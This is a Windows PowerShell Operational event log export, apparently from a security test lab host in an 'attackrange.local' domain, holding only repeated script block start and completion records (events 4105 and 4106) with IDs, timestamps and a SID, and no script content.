OpCode=On create calls
RecordNumber=2048486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048475
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048473
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048472
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048456
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048455
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048450
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048449
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
